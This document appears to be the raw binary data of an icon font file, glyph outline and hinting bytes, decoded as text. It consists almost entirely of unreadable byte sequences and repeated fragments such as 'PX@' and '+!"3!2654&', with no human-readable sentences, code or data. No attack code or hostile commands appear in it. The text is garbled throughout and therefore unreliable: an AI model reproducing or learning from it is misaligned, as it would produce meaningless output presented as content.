	gg g  g  g W _ OedQP><)( wvutnkdsescba`ZWP_Q_ONMLEC<K>K;:982/(7)7'&%$##	 +#";26=4&#53%#";2654&#3%#";2654&#3#";26=4&#53#";26=4&#53%#";26=4&#53$		b	b	z		b	b			*	_	_w*			M	#		}				}		     jkR   % : G n  @}|xslgd\UT	

 L
	
	
i 	 	i g  g  W  _  OIH<;'& HnInBA;G<G10&:':!%$ +2!"&5467%2#!"&463%2#!"&4632"'&'&47676"2>4.22/'&'&57'&5>3?4676'46?'"&'V

8



<

		

TIG*++*GIIF*++*FITJ|II||II|J
.dG\WKd-
	B2?>2Cl	
h+*GHIG*++*GIHG*+*H||II||HSX	Gd).dGW	C>.
C!!C.   jR   E O Z ^ @G YRQNHL    ig i   i	
	g

Y

_ 
OPPFF ^]\[PZPZFOFOKJ@>=;7520/-(&%# EE +2>4."72"&46%!53264&+";!"3!#";264&+5!2654&'&#572?)!//900%%4$$!S		K				S		
	k6/:/080$4%%4$SS	<	SS		*ɒ7f	  	  jlR  % - 9 E Q ] f o @-($L    g i i  g g 	g	 
	
gW_ Ohg_^SRGF;:/.lkgohocb^f_fYWR]S]MKFQGQA?:E;E53.9/9'&%%)2+4&#!"3!273053?'.'&!76?!"3!264&!"3!264&!"3!264&!"3!264&264&"72"&46k	<		*noB#11E11""=		6F`G}}}1E11E1}""      (   1 A c r { K	PX@!|/
:k qpfeb\VQ'LK
PX@!|/
:k qpfeb\VQ'L@!|/
:k qpfeb\VQ'LYYK	PX@[ 		 		~   i  i

g i   iW_ OK
PX@` 		 		~   i  i 
W

g i   iW_ O@[ 		 		~   i  i

g i   iW_ OYY@CddBB32 ~zyvudrdrBcBc_^YXTSPOIH2A3A,)$!11 +2>4."72"&46%#654."!"3!2654&%2&'&54>2?67673'&"'&#'&#567?4&"26'462"&//900%%4$$'CNC(			0('&(1l,,U
X$4%%4$S40:/080$4%%4$'C''C';}01U8?=:U10=S,0		0,S=f	7ei7$%3%%   jR   D a q @p4' 9	&	ohgQK
L  	 	 	 	~ 

 

 g  i    iW_Ocbmkbqcq][TS?>;:,*%# DD+2>4.""&462%!"3!264&#!572?6.'&!2654&.?32?>/3276&/"'&'#"}080/90%4$$4%B				K
hYe
j\}W^X^		\Zm009/0%%4$%	<	

	7		G	
S?	,	H 	  jkR   ' + 7 G K T ] @'"L  g i i  g g 
g 
 	
	gW_ OVUML98.,(( ZYU]V]QPLTMTKJIHA?8G9G41,7.7(+(+*)! 
 +!"013!2654&'.'&!76?!!"3!264&!"3!26=4&#53264&"72"&46V<			no7h6			\$#11E11""R	6			*	F`G6w	S		S	S)1E11E1}""   jR      # [@X  gg  
	
g		W		_ 	O    # #"!
 +!"3!2654&!!%#3!!!)5!B			wR	B			`66   jR ? q   'G  %5654'.'54&'67654'&'&#"&'&"7326?6767654'&'#'&327#"'.54767676?6767'754&">=4&"327&'&547632276?65327&'&'&&'6767676324767676767632&'&>.#"&4632676762&+"#"/&#"327#".%0##"'.=4763272"'!8%951:7Dc*%8$<#mOG5$%!3I'!*?1VD"27,(%.*%-$ f	%/%$(&%	
)*7ZVs`
*F=LDB?):!(0,>35-
IHP?G*	"11"ZiOQ1'		
++!  8.28*,LSE`X#09L=">}

-Z>-$*	%c=62/&3#;!WI>8'7P	N&(#	$V
		 

 0?RJB40	
(-1;0,#
!5:HPZ		1F0?0$	
!@#$(1a!0@v"     jU   ! H \ b n @ bZFB;2/)(	L J	

   g g  

j W _ OdcJI"" khcndn^]WVSQI\J\"H"H?>54,+!  +#54&#3!2654&+7!!"54&"&=4&"26=>=4&3";2654&#476?#";264&>
^	qS6!!t)

)	h
}		A	Ls*.cc.***4		4**F7
h		$          " + 8 A a@^  i
Y
a	Q:9-,$# >=9A:A32,8-8('#+$+"" +"2>4."&462%"2>4."&462%"2>4."&462}00800%%3%%]00800%%3%%]00800%%3%%080080%3%%4$080080%3%%4$080080%3%%4$          " & + 7 C O @ L  g
	g g g g W _ OFD:8-, KIDOFO?=8C:C20,7-6+*)'&%$#"! 
 +)"3!3!265326=4&!5)3#!!7+53";264&##";264&#";264&				$wѼ>								}	!			}}TT)T}}   ]=   " + 8 A u@r i   i i i 
i
		
Y

	a 	
	Q:9-,$# >=9A:A32,8-8('#+$+"" +2>4."72"&46"2>4."&462"2>4."&46200800%%4$%00800%%3%%00800$$4%%m080080%4$$4%080080%3%%4$080080%4%%4%          3 X  @1`8*x	+	L 		   g
i  i		i W ` P54 {zvurplkhgcb]\QOKI@?;:4X5X.-
 +!"3!2654&#!"&5463!2&6?2654&7"265462;264&+76=4.4."265462#"32"&54&"2>54&'>%%k$$		k-S-0%4${y0o/:/$4%%%%4$080%$%%		?}	DN0%%	%1i00%%4$$4%%00++       ' + 4 = @
75/-*(	2+4/764'%&27%64/76%%727%%727%
xw!	!wwww
xwNNfLLn<<Ln<<n^D>>D
>D
E>?{>>        $ ? I n  \@Y   g
 	 iW_O&% }xvsp`^NLHFEC8631%?&?#!  +#"1"326?326?6.+732%#"1"326?326?6.+732'.+76.326?32326?6&%&+";32?6W)	U$9""K FW)	U$9""K F"<	>	&F				SD,#%]}"K	SD,#%]}"+:		"Y	Y%x	
     =    + 7 G K W c o     @=}L   g  g g! 		g  
g"
 
g $g# g% g  g& g (g' g) g W _ OrpfdYXNL:8.,!  ywprlidofo`]XcYcTQLWNWKJIHA?8G:G41,7.7(% +!+@
	 *+#";26=4&#53!264&#!"73264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&#";26=4&#53!"3!264&%3264&+"!"3!264&		ВG					P		G	3				G		P		G	3				G		P		G	=		}S}}		S*}}		S)}       m    + 7 I Z z@wQF	L  
 g
	
Y 		g i g W _ O.,"  VUMLBA:941,7.7(% +"+	 +!"3!2654&!!3264&+"7!264&#!"7!264&#!"'&"264/764'&"2?64-		qH				6				6	TTEEeSEESm		`SSwSSEEMSEES      jR = G b u  =@:|urSE 4(!L       v\Z86-+&%+47654 #""#101&'&27327676'&'732767>'&'.'&'.7676327'0"1'&'.'&'&?'&'&767'&q).2/5%/1%\  E;G2"%/,*!*(48V!
XN,%("1)$ 
	
	>`:L0BUk/:ANq)6:;%/]H^ D&0%5.2.!!
!V84(N
$+0)"(%,>:`g04..)%.lTB&         " 2 6 F J Z ^ j v     @XD0L g
	g! g  i$#"W$#"_Oywmka_MK97%#~|wyrpkvmvfd_jaj^]\[TRKZMZJIHG@>7F9F6543,*#2%2%+&"264/764'&"2?64%#";26=4&#53%#";26=4&#53%#";26=4&#53#";264&3#";264&3#";264&#";264&3#";264&3#";264&wTTEEeSEESQ}		}TT}		}TT}		}TT!}		}}		}}		}S		SS		SS		SSSDEMSEDS}		}}S*}		}}S*}		}}SS          / 3 ? O S _ o s        @M- mL(&$ 	 gg)'
%g.,*!g g/"-+W/"-+_#Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/	 0+#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53264&+"3#";26=4&#53#";264&#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n			w		w		T		M		M		       / 3 ? O S _ k w @M -	E
L  g  g g g 		g g g  
g

W

_
Omla`UTB@64!  tqlwmwhe`kak\YT_U_SRQPIG@OBO;94?6?3210*' /!/
 +#";26=4&#53264&+"3#";26=4&#53#";264&!"3!2654&!!3264&+"7!264&#!"7!264&#!"								qG!		w		w			T		e}}   jR   # ' 7 ; G T ` p t             @HL2g
	10  g34g7g65g"9 8:#!$g=,<(;$/+'&$'g.*&%%&W.*&&%_-)%&%OvubaUU=<*( е|uvtsrqjhapbpU`U_\YRPMJB@<G=F;:982/(@7*7'&%$##
 >+326=4&+"73#!26=4&#!"7!!%#";26=4&#53";264&#4&+";26264&+"3326=4&+"73#!26=4&#!"7!!%#";26=4&#53#";264&!";264&#264&+"3#";26=4&#53%!"3!26=4&!5!%!"3!26=4&#53			w	N					}}		}c}		!w	M			}		}		}	}				}}		M	#		#	X				Ц*				Ц				Ц				Ц*				Ц				Ц)*				Ц*				Ц*				Ц      jR    / 3 ? O S _ o s       @m!L(&$ 	 g  g%g)g* g '

g. !!g, g  g +g/"#g-W-_ Outb`TTA@54!  |ytusrqpig`oboT_T^ZXSRQPJG@OAO;84?5>3210*' /!/@	 0+#";26=4&#53264&+"3#";2654&#3264&+"3#";2654&#3264&+"3!#";26=4&#53#";264&%#";26=4&#53#";264&#";26=4&#53#";264&$											6			n				n	R		w	`			_w			M	#`						 	   0 @ N Z t     @~T	S9
Z=L&KLDI		 

   i	 
	
g  i Y a Q nl]\@?)' 00+"327276?6&/276.'..=46?&'&/&/7'&'&577#"'#.'&'.7567632&76327676.732?>.'2?64.#";264&1~!#1S(
$k('.?#@65|>2:NV-
,p6)@K/-6*	-e,-	(.760091C$-(	SS}}	
	m<#7Q)G}$2,GEQ}&)\:(2UY-Y	B
6(G9=KA?*!O<>E>o& '%?A|/:E
31+?>SSS     jS % ( Z ` f o x       @'9?8^[._-bF aG XQ	L    g 	g	 	i# g 

i i$i  i! i% g"  i  W  _  Ozyqphg&& ~}yzutpxqxlkgohoUT<@;&(&(! %%&+!326=!2654&#!"3!264&74'&'5>'.'54&".26=>'467&5"264&"&462"264&"&462"264&"&462";264&##";264&#";264&	5	H".#$0#.#%/*S*%%4$$	%%4$$	%%4$%					2		G		G	q@$' ?	$		(8
u9
	$4%%4$ST$4%%4$SS%4$$4%Tw    
   # ' + / 3 7 ; k q w @! oOHE=srpga`UT<	L  ~ ~   g 	 g 	 	g
gg W _ O8800,,$$ dcLKCB8;8;:97654030321,/,/.-+*)($'$'&%
 ##+#54&#!"#";3!26=32654&#5%!!'#53!!3%5>'.'54&".'4&26=>54'467&5					6*6*_/"$/S/"#0)S>		>?		?H*SSS}*SS_S5_U*		.:U	*.<AKK   =   & 3 @ M Y e q z  @   i g i i i g  i i i 
g
		
Y

	a 	
	Q|{srhf\ZPNBA54(' {|wvrzsznkfqhqb_Ze\eVSNYPYHGAMBM;:4@5@.-'3(3! && !+"2>4.".4>2"2>4.".4>2"2>4.".4>2!264&#!"!"3!264&!"3!264&"264&"&462(C''CPC'(C'009/0(C''CPC'(C'00800(C''CPC''D'//900G			P		G				G	%%4$%	='CPB''CNC(080090S'DND''DNC(080080S'DND''CPC'0:/080w%4$$4%T     & : K i @CI) LK
PX@A  r q	g  g 
  iW` P@A    	g  g 
  iW` PY@5ML=;(' fd`_RQLiMiFEB@;K=K641/,+':(:&$ +26=332>/>=4.+"32+732653264&+"3264&+4&"!764&"01264/!264&	]MB&/}h%%hhh		V		tZ}}Z	4hs
c5")/N%)%99}Z}	}Z     jWS  " H @B5 LK
PX@*	r  i  i Y a Q@+	  i  i Y a QY@ EC<;42)("" 
+#"2767654.2"&=46"'&'&54>;26=4&'532GJ|I0/QRRQ/0I|	A+*FIHG)+=j>>$4%>?i>RI|J`RQ/00/QR`wJ|I}		}!UHG)++)GHUw>j=W }%%} W=j>    jR  3 /@,L     i Y a Q)+67654'&'&"32767264476762"'&'&065Y]]Y5665Y]kKEB60B0/QRRQ/00/QRRQ/0s16BFJk]Y5665Y]]Y560?`SP/00/PSSP/00/QR          0 K@H!L ~   g W _ O 0/*)$#
 +!"3!2654&#!"&5463!2'&"2?64&"%%k$$		kw%$%%		    jR 1 C X j z@w%	
L i  i  		i  i  
 i

Y

a 
QZYED32 edYjZjKJDXEX982C3C,+#!
 11+%"%64'%32>4.".#"32672>4.2"&'501&54>".4>28101".547015>2A*I

tI*-M--MZL-
I*-M--M-*It
-LZM--M-"9""9E<"9"9""9E<<w"9"<E9""9("6"(-LZM--M-"(-MZM-)"-M--MZL-q"9D9"&"9""9D9"&;&"9"&"9D9"    	  jR     ' 3 ? K W @  g g g g 
g
 
g 		gW_ OMLA@54)( TQLWMWHE@KAK<94?5?0-(3)3$!''
 +!"3!2654&!5!)!'#";264&'#";264&'#";264&'#";264&'#";264&B			lGMh}}		}}		}}		}}		}}	R	B			*<<}}}}}      =       $ ( . 8 J M Q U Y _ i { ~           K@/,+`]\M&(~ L2 7	 g65
43
 g8;g:9 $g>$1B/-+)(&$(g0A.@,?*'& %&%g<#=!  g"W"_ Olj[ZVVRR;9*)%%!! }|vqj{l{fedbZ_[_@GVYVYXWRURUTSQPONLKE@9J;J5431).*.%(%('&!$!$#"   C+!"3!1326=4&#7#7373#73#73#73'3546+532!"3!1!26=4&#7#7373#73'3546#!5!2!";1!26=4&#7#73#3546#!5!2!"3!1326=4&#7#7373#73#73'3546+532%%}$$``B}B}B}}B}}B}}B}JJ_ii%%w$$Z``B}B}B}}B}JJ_c%%q$$```B}BJ_]%%q$$``B}B}B}}B}}B}JJ_=$T$%T$__}}}}}}}}}}}`Ki}$T$%T$__}}}}}}}`Ki}J$T$%T$``~`Ki~8$T$%T$__}}}}}}}}}`Ki}     m   , E >@;/.L>%K   g W _ O 	 +!"3!2654&!!?'&327654&>&/&32?>.HqT55T
655T
Tm	_	_w**M
**      C ( , 0 4 >@;4321,+*) L    g W _ O%$,&+&54&#!"'&;73!26=327654!!'57H	l}G}}#8		8#

#8		8#
N
Nw          " < F P _@\ G
L  g  i	 
g 

W 

_ 
O$# POLIFEB?74.-*'#<$<
	 +264/764&"%'&"2?64#4&#!"#"3!26=4&463!2!#!"&=!}	EESSYSEESh>%$?%%q	q	f	 EDTSvTDESb%%	*$$*	b		?       $ 6 U r   @%}Vv]wW3
ML	S	LKPX@Wr

~

~	p   gi	i		h W _ O@Y

~

~~   gi	i		h W _ OY@;ss sszykied`_ZYPOJIEC?>/.'&
 +!"3!2654&!!264/764&"2?64/&"3;264&+764&"54&"26=264/3264&+"#2?26='&5&'"/#";#";2?5>5754&"'&"l			kDDTTTEE:T!DEED!TET!D>!TE	f			fqeEESSSSEEVED!	TVT!DED!TET!D        m   ) ? W@T7L
 	 iY_O+* <931.,*?+?$!))	 +!"3!2654&!!%#";#";2654&#3264&+";264&HzS		>>		S	8>>		SS	m	_	_w*	_w	_   =   $ 5 a@^& L 	  
   h W _ O 54/.)($#
 +!"3!2654&!!'&"2?64&"7264/&"2l			kEESSEESSHEESSEESS     C   % 6 E H G@DHGF-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?6432?64/&7HSSEE;SEES}		})CCC	`			`wZSSEEMSEESoTT,,        m   % 6 H@E-"L   gi W _ O 21)(	 	+!"3!2654&!!&"264/764'&"2?64HSSEE;SEESm	_	_wYTSEDNTDES    ,  - > A }   )2  '&2?>=4&/.=46?62%&"32?64'5656.".&'&'&1#'&727>'676.'67>'&'"'67>.'&'2>.'.5676'&7676!"3!2654&+53264&+46;264&+"#";#"&5463!2#";2>=4.+".=4>;2'"2>4."&462iGGi *+i$F$i+*jCCjj!D!j}		tC
	
B"
/& $$!JHM@8A	%24			F`
0'7G%%M$$**#1				M(C''C((C''C@//00"9""9D9""9""11E01		. .

. .				T>Y,	
$*,#	*+%y<
 	
		@		
$4j$%%M$u	1"	M'D'(C''C('D'0000"9D9""9D9"1F00F1        - 0 3 ? n@k	L  	 	 

   g 		g g

W

_ 
O64 <94?6?320/,*%$-- +!264&#!"276&/&";#"2?6'&+5'3#!"3!264&*		l	P}}hh}}hSSSl			}		}o?o`          # ' + / 3 7 @  g g
	ggW_ O44,, 4747653210,/,/.-+*)('&%$#"! 
 +!"3!2654&53#5#5))5!!!%!!!5!)5!B			"#%%q##l%q#	<			}})}}M}}}}}}}}}}      ! + 6 T W@T 3(R
L 	 g 

g W _ O-,$"MKEC<921,6-6'&"+$+8333+'.+"&+".+"3!2654%32#'7>!32#'7>#!"&54?6;23!2*   -	%k$ѿ		0	- 3>ox"%%~F*E*{		x`         B [ e@bML)X&	L
   g  g 		i  i W _ O!  [ZJIDC=;41 B!B
 +!"3!2654&#!"&5463!2"'&.'7>'&54&+"326=4&"'&'&776?%%k$$		k4($-'5!Q97^`qeWU03T*E48(3%$%%		"5&+	#)pa]79Q32TXf,-8
4E*       # 8 ; _ y  @c:b
L
<	n	 L  

 		   g

i g		iY_ Oa`99 }|rplkfe`yay]\UTONJIDC?>9;9;430/##
 +!"3!2654&463!2!"&#7.6?327>/74&""&=4622654."2>%"54&"265132>=4."&=462%%k$$f	kp	!5G}**00V$4%%4$080/:/""00"$4%%4$%<%%%		q6!	pp>%%S%%00S//T		0S0%%S%%           ; T@QL
   g i	 g W _ O!  :852/-,*'$ ;!;
 +!"3!2654&#!"&5463!2264&+";#";264&+%%k$$		k'		S				S		%$%%		>w          % 6 F J Z ^ n r   @ -"lXDxdP<	
L   gi  g
g
		
W

	_	
	Otsa_LK87 |zstrqpoif_nan^]\[URKZLZJIHG@>7F8F21)(	 +!"3!2654&!!&"264/764'&"2?64#";26=4&#537#";26=4&#537#";26=4&#537#";26=4&#53HSSEE;SEESQTT**SS	**S		S	))TT**__wTSEDNTDESTTT**TTT**TTT**TTT*         # ' 7 ; K O _ c s w               !"3!2654&!!%#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#536			`	S		S	))S		S	))S		S	))S		S	))TT**TT**TT**TT**S		S**S		S**S		S**S		S**H*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*TTT*}	S		S	S)}	SS	S*}TTT*  
       # ' 7 ; K O _ c @! A]UL  g  g 
g 
 	
	g g  g gW_ORP><*( cba`ZWP_R_ONMLFC<K>K;:982/(7*7'&%$##	 +!"3!2654&!!7#";26=4&#53#";26=4&#53#";26=4&#53#";26=4&#53-		S		S	))S		S	))S		S	))S		S	))H*TTT*}	S		S	S)}	SS	S*}TTT*   = e p      @ѹba_	^  Y421tXVU5DCA:	L W	i  g   g 	 	i  
g 
 
gi Y W aQgf ý~xvmlfpgpROJG>=.+&#
 ee+326=4&+"&'54&"'54&+";26=726=67;26=4&+"&'5>4&'567'21"&46+"&=46;221"&4676=46;2+"&=4/"&5146276=46;2+"&=4'$$%66%%%%66%$$%66%			EG			EG>E		%$$!7l		l ( 6!%%%$!7 ( l		l7!$%%%!6 ( 6!%	
*		*E	0	)		*	D	9D	*		)	    =   ; K [ w      @^lL$   g%*	g  i  
g&
 
g+ '!g  i  g( g,")#g  i W _ Ozx]\><!  ˼xzsronkieda`\w]wYVQNFC<K>K7632/-)(%$ ;!;
 -+#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&#";26=4&+"&=46;2#54&"#";26=3264&!264&#!"!"3!264&!"3!264&%%%%				>	!%%%%				>!%%%%				>G			P		G				G	=$$$$?				%%%%				>%$$%		>				q        m   A c  T@Q{nhYLF6)$	LUK ~   g W _ O ~\['&
 +!"3!2654&#!"&5463!2&'&"'.6?;>?6&%&'.'.6?;>?6&%&'.'.6?;>?6&%%k$$		k	&&	*
+,*	&&	)++)		&'	*,+
*	m%`%%%!				h		jYYj		ee		jYYj		ee		jYYj			ee      ( 2 H c@`
@=7	L  
	
g		g  Y _  O CA?><943/*'%! 	 22+0#!"&463265!""&=463!2"&54&#!30132'3&5463!25!63!2%%	k%%}	###$l%%%z%)"hhe#    $  e n y  [K
PX@&*xung32
 LoTKKPX@&oT* xung32
 L@&*xung32
 LoTKYYK
PX@A     ~ ~ 	 	i i 

Y 
a 

QKPX@;    ~ 	 	i  i 

Y 
a 

Q@A     ~ ~ 	 	i i 

Y 
a 

QYY@|{mkOMGE@>7654%$+47.'&%2632656/&#"'"3262656/&#6767632#"3#"'65&62#"'&'&'&547676767632767>7654'&'&'&#"l"1R;&		l;-*?X		h5Y*1+5T:&
y3N@026<RyVV)& #@ %%@RbQ[XLF@ %%*9IbTWR<0""&5<RGd[PV3;%!!A@ZMQ I/Y
			
O3

	3T2XcoU^0ZQ=%%@RVV*%!"@ &&!?@RPc]V)& #""&5I(IbTWR;< !%(4<QGdVUGG3        # / ; G t@q   g g g 	g 		g 

W 
_

O><20&$ CA<G>G850;2;+)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2!"&463!2B			e		B			e		B			e		}}}}}      fO   "&'&/&'&'&'#"'&'&'&547632765##".4>3235.54>23>32#"&'#0132767'&>76767>+%32676?676767>;6767#"'&'46;23264&#"+"&=47>54&"+"'.#"32676;2#"&'&?&')7!5$-;G$$*&
?,//,?"9D9"?,00,?&+%&5--$5 7,$(!16





61!(#MR
,S"	^	%%	^	0E1_	%%	_"S,
RM
$12Db:5(
	0:/ 0"9""9"0 080t
(*-bD21$
,"",3SF6+.%4$?##00##?$4%_.+6FS3   	     # 0 9 F O \ e @ i   g i i 	g 		i i g 

Y 
a

Q^]QPHG;:21%$ ba]e^eWVP\Q\LKGOHOA@:F;F651929+*$0%0 ## +!"&463!2!"&463!2!"&463!2%".4>2'"264&".4>2'"264&".4>2'"264&<				<				<			00800$$4%%00800%%3%%0080/$$4%%080080%4$%3%180080$4%%4$08019/%4$%3%  @    3 6@3.L   v"! *)!3"3   +"'.7>%".7&>!"'&47>9w,
l
$#      jR  - Q k l@i_VL8iU1L ~ i	g   Y  a
  QSR db[ZRkSkFE?=43$#-- +"'.'&47>762"276764'&'&"/".?'.>;7>32'2'&6?#"&/+76f]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk@
;NN;0@@0'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?uu׊_ll_   jR & D Q Z         @6 L     

~ i	i"!i i i # i 

W 

_
O][SRFE(' źһҵ{zurmjfd[]WVRZSZLKEQFQ'D(D &&$+%"&'&'&'&/&'&'&54>2"1676?6767654.".4>2'"264&!".54>3!2#!"3!265462%"&4762!"'&462"&462'"264&3#"&46;2"'&'&547&462'3267654'& >i|i> 3V2)$$*3V300800%%3%%9<00_%%%1	t\"11E11#"CTT\!n	 2d	JA531(2>i>>i>3(135AK
2V3*"A)FONF)A#)3V2080080$4%%4$00$e%$			0*	tG1E11E1}"":2}		


    $ - : Y@V	 L     g   i  i	W	_ O8721,+('$"
+76762!	/"&5463!2#!4&"267".4>2*0l˷!


B%&.+1,+1,S,`

:`j`.	
<
7*,,2,, (   3 @ I d   @*O b	L&K  gi i i  i
  g		gg W _OgeKJBA54 ywtrqpmleg^\XWVURQJdKdFEAIBI;:4@5@-,
 +%!"&5463!2%!!"&'/.767662".4>2'"264&!"&=462!#"&46;2!"&=462!#"&46;2!"&=462!#"&46;2<			Hf
Ԕk
j00800%%3%%.;*?K<	>		SK<	>		S		q	)H
k#j6w080080$4%%4$T?G	S	S		>G	ST?        4 q     t@q_G9	
$LZK   g
	
i		iW_Osr {yrs?>2/*'"	 +!"3!27>/!2>54.#!"'&#!"&5463!2%&'&'&#"&/&'.32>?3276547676."32>76&'&"'.767>327"32>76&'&"'.767>3200"00"$3g$%$	 	L"
3'!4&##	3'!4&##	00P30$0t% %$$$!([?O-o'9D5C-0	
0-[".%Z-APRe%
=&AMA&A'%A//r&AMA&A'%A//     3 B E &@#EDC4 L   v 33 +"/.54>?6"?>54&/&"'&5467JH%=##=%ݒ%=##=%HJGH(77(܏(77(H	$		(@&&@((@&t&@(;)t);;));we֕      8 f r ~   @ ^Q	%
LHK     g 	g 		g 

g g W _ Otshg {xs~t~olgrhrWV	 +!"3!2654&!!.6'&'&"'.32?>41/"5'4&"51"5'#?264'&'&737>'7!264&#!"!264&#!"!264&#!"3264&+"-		qH#"6.	YY""7-w		w		w					BEFM7.C<;/YEFN7-C<;.e}}}     2 x    h@e
L
   

j 		i Y aQ zyJIEDBA=<
	 xx+"'.'&'&'.67>'&'..'&47>67676&'.>767676>76'1&'2767654&'.67>176764'.&'.67>54'&'&&&'.'&'&7667>7'".4>2"2>4.%% &;1	%  %
1;' %% ';1
%  %	1;.5.&;!<&.5
4BB4
4/; !;(/4"4B!!9_88_r_88_9-M--MZM--Mu
	""%"%"
(F("%"%""%"%"
! F(
"%"%&
"	?4!	9!4?	#
	 '' 	
#	? 9:8@'" 'v8_r_88_r_8w-MZM--MZM-  i/R I U ] l x  j@glf5#	e_~zysmWVPJ9 L    
	 
i 	 	iiYaQvupojhca%.#)%,+%54'.'&"2654&#&5>767>636=.#"3>76&"&5462'.'476.&5>7462"&5('Y]]Y'($?g>  ,S"^S
2GG2	T]"S+  >g?G=N+'5DD57CC7#H?&*Ne`\)**)\`e/<>g? A kmFY3453]Emk  ?g>7Af@=+&D****K')*'W%*?@e  iS  7 K
PX*LKPX* L*LYYK
PX@# g   g_ OKPX@"  g  W _  O@# g   g_ OYY@  /-&$76  '7%	+.?#".54>3!2#!3%63!2>54.#	]S(D((D((D((D(33o
S)c44(D((D((D(Q(E(4Q4	44     =  7 b K
PX@=5
`
	U L KKPX@=5
`
	U L K@=5
`
	U L KYYK
PX@M   i 	
	Y i g 
  
i Y a QKPX@H   i 	
	i i 
 
i Y a Q@M   i 	
	Y i g 
  
i Y a QYY@.dcpocd]\XWSROMIHED@?;:1/+)77+"6?26=4&7"265462;264&+76=.4&"265462#"32"&54&"264'>2"'.'&54767>276764'&'&#"&46A>!

,
	&my

\W- ,>,&

&,>,aYV$&&$VYYV$&(F<9cffc:<<:cfw	[2

,

	

p	,K,,

&&

,,@
"&$VYYV$&&%VY`FBD;	nwfc:<<:cffc:<   	jR   M        @W
`C86		/ L 

   i 
 
i  	i 	 	ii   i  iW_O"! μͪͤ{zsqljfe]\TSON>=)(!M"M   +%".'.547&5476762%22>7>67654'&7654."36%"/&'&'&'#'#&#"&463&767632767654623276#"&46;23#"&46;2!"&?>?67&54627676%!'&/3'&676764'&"!'3\F"('BDDB'("F\;OXO<

CssC
?@="	&"	"#&,+(	*		*)		)	nB 
k&-L-&k
 tg:>fh4^>;+ODB'(('BDO+;>^4	:Z11Z:DsCCsDP'#		< 
"#		#/
#
l 4"!!"4 l
$
*gb55b       @ L    v-(+654&'.#"3267	

	=,
	
       @ L   v 
 +"327>54'654'.(	
;
	
      n   @ L      v+'&"?27>54/76'.4	+W+;
--,	+W+	,+         
 3@0 L    W_ O

+#5##!5$HSSS   iS  $ . @@=    ~   W_O  ,)&%$#  :+#!"&'463!"3!2654&+;265/Q)7&&66'=	c	R3'0<!"&55&/'7;		      V  # / @  LIKPX@9 

r	~~   p  
i  Y  b  R@; 

	~~   ~  
i  Y  b  RY@/.-,+*)('&%$##%+#'>54."32677%".4>2'3##5#5353! #I||II|J2Z#>63W23VfV22VSS*SS*#[1J|II||I# ">2VfV32WfV2*SS*S          , 5 > G p@m   		    i
		i Y _ O@?76.-DC?G@G;:6>7>21-5.5+)&#,,3!#3++"&46;#"&46;22654&+";264&+"264&3"264&3"264&	S

>>

S	'

	T		T		?&&&
			
&&&&&&    
  jR  - A j w     @IF^
LKPX@h  p  

	r     iji	 	i Y b RKPX@i   ~  

	r     iji	 	i Y b R@j   ~  

		     iji	 	i Y b RYY@9yxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%%       ) H@E Lg   g  W  _  O!  &% )!) 	+%2+"&=4632#!"&5463!"!4'.'77'('77'(			8'(77('8TT	    k(   . G@DL  g g W _ O  '%. -	 	+2#!"&5463!"3!274&#2+"&=463$33$%33%?@(3$$33$$3Sz      (   / A@>  g g W _ O!  (& /!.	 	+2#!"&5463!"3!2654#2+"&=463$44$p$33$pv(3$$33$$3Sz 	  jkR   + 7 C O [ g s @LK   g g  g g 

g g 	g 		g W _ Oih]\QPED98-,olhsirc`\g]fWTP[QZKHDOEN?<8C9B30,7-6&# ++(52+>3!2#!"&546?3265%!+3!2654&"&463!2#"&463!2#"&463!2#"&463!2#"&46;2#"&463!2#{%%&
t&
q	



6



6



6







6



J%%%
&z		l	'}w}w}        3 P S@P 	 	g i i   W  _
  O54 JGBA=:4P5P-*%"32	 +!".54>;23!2"3!2654&#!"&/.#"&=4&#!""&54>3!200!7
 00$%$$!7 	%<%00.01( 10%%%w%' }	}$$		00}	 jR G ^ y        &9$@[
cWLKKPX@&0$ r (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'Q@&0$ (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'QYA}''                 { z   '9'953,*&&	                                                  ~ z  {  w u m k ^ \ Q O = ; 4 2 - , ' %   	    G  G 1  +"'&'&67"'#"'&'&5476'&'".67676322?67632#3276765'&767&#"327676'&'&#""&4&""&54762"'.'&47>762"276764'&'&"&462'"264&"&462'"264&"'&547676;276'"32767&'&'&"'&'&7>767632'327654&'&#"V5%"1#%5VL3*
/UN362. .251NU/+3)DI* [XA *ID)DA04)	*PGf]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk%%4$$	%%3%%`=#C'6'AF);Mv		(3&!&//'/M;)FA'6'B%&!&4'		'0'+$P#		#P$+'% 
:

	
:
 %*-'# !#'-*'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?`$4%%4$SS%3%%4$S_6&
!}


}!
&5T


    5  $ C@@L      W _ O  +2"&54662!#!/&47S  -  !$	5   BUU	     5  $ C@@L      W _ O $#  +2"&546.=!"&'5467!5462-  	$ 5  B	UU     5  $ ? S@P650L	    W_O :921.-#" 
+2"&54632#/&4?6%&'5#.'5>7354>-  LV$ \\  \5  BUU		
YU   5  & > S@P,L	    W_O =<5410*("! 
